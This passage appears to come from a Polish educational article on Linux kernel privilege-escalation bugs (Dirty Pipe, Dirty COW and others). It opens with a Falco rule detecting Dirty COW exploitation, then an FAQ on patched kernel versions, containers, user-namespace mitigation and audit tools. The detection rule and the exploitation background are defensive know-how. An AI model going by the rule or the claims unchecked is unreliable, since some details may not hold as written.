condition: >
(evt.type = madvise AND evt.arg.advice = MADV_DONTNEED) AND
fd.name startswith "/proc/self/mem"
output: >
Possible Dirty COW exploit (CVE-2016-5195)
(user=%user.name pid=%proc.pid)
priority: CRITICAL
FAQ — Dirty Pipe, Dirty COW, Copy Fail, Dirty Frag
Czy mój serwer jest teraz podatny na Dirty Pipe?
Jeśli kernel ma wersję 5.16.11 lub nowszą (w gałęzi mainline), 5.15.25+ (LTS) lub 5.10.102+ (LTS), nie jest podatny na Dirty Pipe. Sprawdź: uname -r. Większość aktualnych dystrybucji (Ubuntu 22.04+, Debian Bookworm, RHEL 9+) ma już spatchowany kernel.
Czy Dirty Pipe i Dirty COW to ta sama podatność?
Nie — to zupełnie różne podatności. Łączy je tylko podobna klasa zagrożenia (local privilege escalation) i to, że obie umożliwiają zapis do plików, do których teoretycznie nie mamy uprawnień. Mechanizmy są inne: Dirty COW to race condition w Copy-on-Write, Dirty Pipe to błąd inicjalizacji flagi w buforach pipe.
Czy Dirty Pipe dotyczy Androida?
Tak. Android 12 i późniejszy z kernelem 5.8+ był podatny. Google wydało łatki bezpieczeństwa w marcu 2022 (Android Security Bulletin). Urządzenia Pixel, Samsung Galaxy S22 i inne z nowoczesnym kernelem były dotknięte do czasu zainstalowania aktualizacji systemowej.
Czy wyłączenie user namespaces jest dobrą mitygacją?
Dla Copy Fail i Dirty Frag — tak, wyłączenie niepriwilejowanych user namespaces (sysctl kernel.unprivileged_userns_clone = 0) znacząco ogranicza powierzchnię ataku. Jednak ma to koszt funkcjonalny: wyłącza możliwość uruchamiania kontenerów bez root przez zwykłych użytkowników (np. Podman rootless). W środowiskach produkcyjnych oceń kompromis.
Jak szybko po ujawnieniu podatności pojawiają się exploity?
Dla Dirty Pipe: funkcjonalne exploity proof-of-concept pojawiły się w ciągu kilku godzin od publicznego ujawnienia. Dla Dirty COW: exploity in-the-wild istniały przed publicznym ujawnieniem. Dlatego tak ważne jest natychmiastowe patchowanie po każdym security bulletin — okno czasu między ujawnieniem a masową eksploitacją skraca się z każdym rokiem.
Czy konteneryzacja (Docker, Kubernetes) chroni przed tymi podatnościami?
Nie — kontenery współdzielą kernel hosta. Podatność w kernelu jest widoczna z poziomu kontenera. Co więcej, Copy Fail (CVE-2023-0179) może być exploitowana bezpośrednio z kontenera przez user namespaces. Jedyna skuteczna ochrona to aktualizacja kernela hosta.
Co to jest CVSS i co oznacza wynik 7.8?
CVSS (Common Vulnerability Scoring System) to standardowy system oceny ciężkości podatności w skali 0–10. Wynik 7.8 oznacza klasę HIGH. Wszystkie omawiane podatności mają wynik 7.8 (nie 9+) głównie dlatego, że wymagają lokalnego dostępu do systemu (AV:L — Attack Vector: Local) — nie można ich exploitować zdalnie bez innego wektora wejścia.
Jakie inne narzędzia mogą pomóc w ocenie bezpieczeństwa kernela?
Do rekomendowanych narzędzi należą: linux-exploit-suggester (ocena podatności na podstawie wersji kernela), lynis (kompleksowy audyt bezpieczeństwa Linux), Falco (runtime security monitoring), Trivy (skanowanie kontenerów pod kątem CVE), oraz OpenSCAP (zgodność z benchmarkami CIS, STIG).
Źródła i dalsze czytanie: Oficjalna analiza Dirty Pipe: dirtypipe.cm4all.com | Strona Dirty COW: dirtycow.ninja | NVD/NIST: nvd.nist.gov (CVE-2022-0847, CVE-2016-5195, CVE-2023-0179, CVE-2022-4378) | Linux Kernel Security: kernel.org/doc/html/latest/security | CIS Benchmarks: cisecurity.org
- Zastrzeżenie: Artykuł ma charakter edukacyjny. Wszelkie testy bezpieczeństwa powinny być przeprowadzane wyłącznie na własnych systemach lub za wyraźną zgodą właściciela. Autor nie ponosi odpowiedzialności za nielegalne użycie opisanych technik.
